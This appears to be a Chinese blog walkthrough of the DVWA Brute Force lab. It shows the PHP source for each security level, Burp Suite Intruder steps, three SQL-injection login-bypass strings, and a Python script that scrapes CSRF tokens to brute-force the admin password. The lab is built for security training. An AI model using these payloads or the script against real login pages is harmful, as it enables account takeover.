zoukankan      html  css  js  c++  java
  • DVWA—Brute Force(暴力破解)

    Brute Force暴力破解模块,是指黑客密码字典,使用穷举法(举出所有的可能的结果,然后逐一验证是否正确!)猜出用户的口令,是一种广泛的攻击手法。

    LOW

     查看暴力破解—LOW的源码

    <?php
    
    if( isset( $_GET[ 'Login' ] ) ) {
        // Get username
        $user = $_GET[ 'username' ];
    
        // Get password
        $pass = $_GET[ 'password' ];
        $pass = md5( $pass );
    
        // Check the database
        $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        if( $result && mysqli_num_rows( $result ) == 1 ) {
            // Get users details
            $row    = mysqli_fetch_assoc( $result );
            $avatar = $row["avatar"];
    
            // Login successful
            echo "<p>Welcome to the password protected area {$user}</p>";
            echo "<img src="{$avatar}" />";
        }
        else {
            // Login failed
            echo "<pre><br />Username and/or password incorrect.</pre>";
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    ?> 
    点加号,查看源码

    分析源码

    接受 username 和 password 的值,然后传入数据库做比较,直接使用爆破即可。

    low级别的代码直接获取用户输入的用户名和密码,密码再经过MD5进行加密,所以杜绝了通过密码进行SQL注入的可能。然后查询数据库中,查询出结果来了说明用户名和密码正确。这里对输入的用户名和密码没经过任何的过滤和检查。

    1.我们首先配置好burpsuite的本地代理。

    设置代理(端口填8080),打开burspuite,,之后在浏览器Login

    Burp中的设置,前面的勾一定要有,不然无法监听

     Intercept(拦截)必须为打开状态

    之后去浏览器,我们输入 admin 和任意的密码(我输的123),

    点击Login,burpsuite自动进行抓包

    2.全选,发送到 Intruder 模块 ,

    这里默认会对所有可能的爆破点标记,

    所以我们点击 clear,然后add增加我们的,账号和密码,使其成为爆破点

     3.选一下攻击类型,

    设置爆破类型为cluster bomb类型(这样才能同时爆破用户名和密码)

    我们点击 payloads,然后选择 load 来加载我们的密码字典,也可以使用paste粘贴,账号密码,还可使用add手动输入

     

    4.然后点击 start attack 开始攻击

    从弹出的页面可以看到,有一条长度和其他的不一样,可以判断这个就是正确的密码了

    万能密码(其实感觉是万能账号)

    此处也可以使用万能密码进行登录。(下面3个随便选个当账号,,密码随便输入)

    admin'or '1'='1
    admin' -- -
    admin' # 

    结果

    Medium

    查看源码

    <?php
    
    if( isset( $_GET[ 'Login' ] ) ) {
        // Sanitise username input
        $user = $_GET[ 'username' ];
        $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
        // Sanitise password input
        $pass = $_GET[ 'password' ];
        $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass = md5( $pass );
    
        // Check the database
        $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        if( $result && mysqli_num_rows( $result ) == 1 ) {
            // Get users details
            $row    = mysqli_fetch_assoc( $result );
            $avatar = $row["avatar"];
    
            // Login successful
            echo "<p>Welcome to the password protected area {$user}</p>";
            echo "<img src="{$avatar}" />";
        }
        else {
            // Login failed
            sleep( 2 );
            echo "<pre><br />Username and/or password incorrect.</pre>";
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    ?> 

    分析源码

    1、对传过来的值,使用了 mysql_real_escape_string() 函数,转义了以下字符:

    x00
    
    
    
    
    '
    "
    x1a

    2、使用了 sleep(2) 函数,如果密码错误,则延时两秒响应

    如果爆破的话,还是可以直接进行爆破的,只不过速度慢了些而已。。

    因为过滤了单引号,我们无法闭合掉前面的单引号,所以此处无法再使用万能密码了

    这依然可以和 low 级别的爆破一样,只不过时间长了点而已。因为试一次密码要过滤2秒才能试下一个。

    High

    查看源码

    <?php
    
    if( isset( $_GET[ 'Login' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Sanitise username input
        $user = $_GET[ 'username' ];
        $user = stripslashes( $user );
        $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
        // Sanitise password input
        $pass = $_GET[ 'password' ];
        $pass = stripslashes( $pass );
        $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass = md5( $pass );
    
        // Check database
        $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        if( $result && mysqli_num_rows( $result ) == 1 ) {
            // Get users details
            $row    = mysqli_fetch_assoc( $result );
            $avatar = $row["avatar"];
    
            // Login successful
            echo "<p>Welcome to the password protected area {$user}</p>";
            echo "<img src="{$avatar}" />";
        }
        else {
            // Login failed
            sleep( rand( 0, 3 ) );
            echo "<pre><br />Username and/or password incorrect.</pre>";
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?> 

    High级别的代码使用了Anti-CSRF token来抵御CSRF的攻击,使用了stripslashes函数和mysqli_real_esacpe_string来抵御SQL注入和XSS的攻击。通过抓包,可以看到,登录验证时提交了四个参数:username、password、Login以及user_token。

    每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做token的检查,再进行sql查询。

    所以,我们不能再像Low和Medium那样无脑式的爆破了

    方法一:使用python脚本对password参数进行爆破,并打印结果

    注:下面代码第三行ip换成 目标主机(DVWA)的ip才行

    from bs4 import BeautifulSoup
    import urllib2
    header={        'Host': '192.168.43.116',
            'Cache-Control': 'no-cache, must-revalidate',
            'If-None-Match': "307-52156c6a290c0",
            'If-Modified-Since': 'Wed, 15 Aug 2018 05:49:00 GMT',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36',
            'Accept': '*/*',
            'Referer': 'http://localhost/DVWA/vulnerabilities/brute/index.php',
            'Accept-Encoding': 'gzip, deflate, br',
            'Accept-Language': 'zh-CN,zh;q=0.9',
            'Cookie': 'security=high; PHPSESSID=9vf87imbl5g89p3arsgaoqnf87'}
    requrl = "http://localhost/DVWA/vulnerabilities/brute/"
     
    def get_token(requrl,header):
        req = urllib2.Request(url=requrl,headers=header)
        response = urllib2.urlopen(req)
        print response.getcode(),
        the_page = response.read()
        print len(the_page)
        soup = BeautifulSoup(the_page,"html.parser")
        # print '###################'
        # print soup.find_all('input')[3].get('value')
        user_token = soup.find_all('input')[3].get('value')
        #user_token = soup.form.input.input.input.input["value"]
        return user_token
     
    user_token = get_token(requrl,header)
    i=0
    for line in open('C:/Users/neton.LIU/Desktop/password.txt'):
        requrl = "http://localhost/DVWA/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
        i = i+1
        print i,'admin',line.strip(),
        user_token = get_token(requrl,header)
        if (i == 10):
            break

    password.txt是我自己设置的字典,很小,我只写了十个密码。

    打印顺序:序号、用户名、密码、http状态码以及返回的页面长度。

    方法二:还是使用burpsuite来爆破

    查看 High级的源码,看以看出做了CSRF防御,但是并未做限制频次或锁定账号机制,所以增加了爆破难度,但是依然可以爆破。

    1. 将登录请求进行拦截,发现增加了user_token参数,所以爆破要选择两个参数来进行,先将请求发送到intruder。

    2. 设置两个参数 password和user_token为变量,攻击类型选择pitchfork,意思是草叉模式(Pitchfork )——它可以使用多组Payload集合,在每一个不同的Payload标志位置上(最多20个),遍历所有的Payload。举例来说,如果有两个Payload标志位置,第一个Payload值为A和B,第二个Payload值为C和D,则发起攻击时,将共发起两次攻击,第一次使用的Payload分别为A和C,第二次使用的Payload分别为B和D。

     3.设置参数,在option选项卡中将攻击线程thread设置为1,因为Recursive_Grep模式不支持多线程攻击,然后选择Grep-Extract,意思是用于提取响应消息中的有用信息,点击Add,如下图进行设置,最后将Redirections设置为Always

     

     注:将下图value=   后面的数字复制下来,破解时要用到

     4. 然后设置payload,第一个参数设置不在赘述,第二个参数选择Recursive grep,然后将options中的token作为第一次请求的初始值。

     5. 点击start attack攻击爆破,结果成功爆破,如下图所示

    Impossible

    查看源码

    <?php
    
    if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Sanitise username input
        $user = $_POST[ 'username' ];
        $user = stripslashes( $user );
        $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
        // Sanitise password input
        $pass = $_POST[ 'password' ];
        $pass = stripslashes( $pass );
        $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass = md5( $pass );
    
        // Default values
        $total_failed_login = 3;
        $lockout_time       = 15;
        $account_locked     = false;
    
        // Check the database (Check user information)
        $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
        $row = $data->fetch();
    
        // Check to see if the user has been locked out.
        if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
            // User locked out.  Note, using this method would allow for user enumeration!
            //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
    
            // Calculate when the user would be allowed to login again
            $last_login = strtotime( $row[ 'last_login' ] );
            $timeout    = $last_login + ($lockout_time * 60);
            $timenow    = time();
    
            /*
            print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
            print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
            print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
            */
    
            // Check to see if enough time has passed, if it hasn't locked the account
            if( $timenow < $timeout ) {
                $account_locked = true;
                // print "The account is locked<br />";
            }
        }
    
        // Check the database (if username matches the password)
        $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR);
        $data->bindParam( ':password', $pass, PDO::PARAM_STR );
        $data->execute();
        $row = $data->fetch();
    
        // If its a valid login...
        if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
            // Get users details
            $avatar       = $row[ 'avatar' ];
            $failed_login = $row[ 'failed_login' ];
            $last_login   = $row[ 'last_login' ];
    
            // Login successful
            echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
            echo "<img src="{$avatar}" />";
    
            // Had the account been locked out since last login?
            if( $failed_login >= $total_failed_login ) {
                echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
                echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
            }
    
            // Reset bad login count
            $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
            $data->bindParam( ':user', $user, PDO::PARAM_STR );
            $data->execute();
        } else {
            // Login failed
            sleep( rand( 2, 4 ) );
    
            // Give the user some feedback
            echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";
    
            // Update bad login count
            $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
            $data->bindParam( ':user', $user, PDO::PARAM_STR );
            $data->execute();
        }
    
        // Set the last login time
        $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?> 
    点击可查看源码

    重点在于:

    $total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false;

    添加机制,错误 3 次的话,就锁定 15 分钟,从根本上杜绝啦暴力破解

    结束

  • 相关阅读:
    [Swift通天遁地]四、网络和线程-(13)创建一个Socket客户端
    [Swift通天遁地]四、网络和线程-(12)使用ReachabilitySwift实现对网络状态的检测
    [Swift通天遁地]四、网络和线程-(11)将服务器返回的JSON映射为实例对象
    [Swift]LeetCode972.相等的有理数 | Equal Rational Numbers
    [Swift]LeetCode971.翻转二叉树以匹配先序遍历 | Flip Binary Tree To Match Preorder Traversal
    [Swift]LeetCode969.煎饼排序 | Pancake Sorting
    [Swift]LeetCode970.强整数 | Powerful Integers
    [SQL]LeetCode262.行程和用户 | Trips and Users
    [Swift]LeetCode261.图验证树 $ Graph Valid Tree
    [Swift]LeetCode260. 只出现一次的数字 III | Single Number III
  • 原文地址:https://www.cnblogs.com/escwq/p/12372070.html
Copyright © 2011-2022 走看看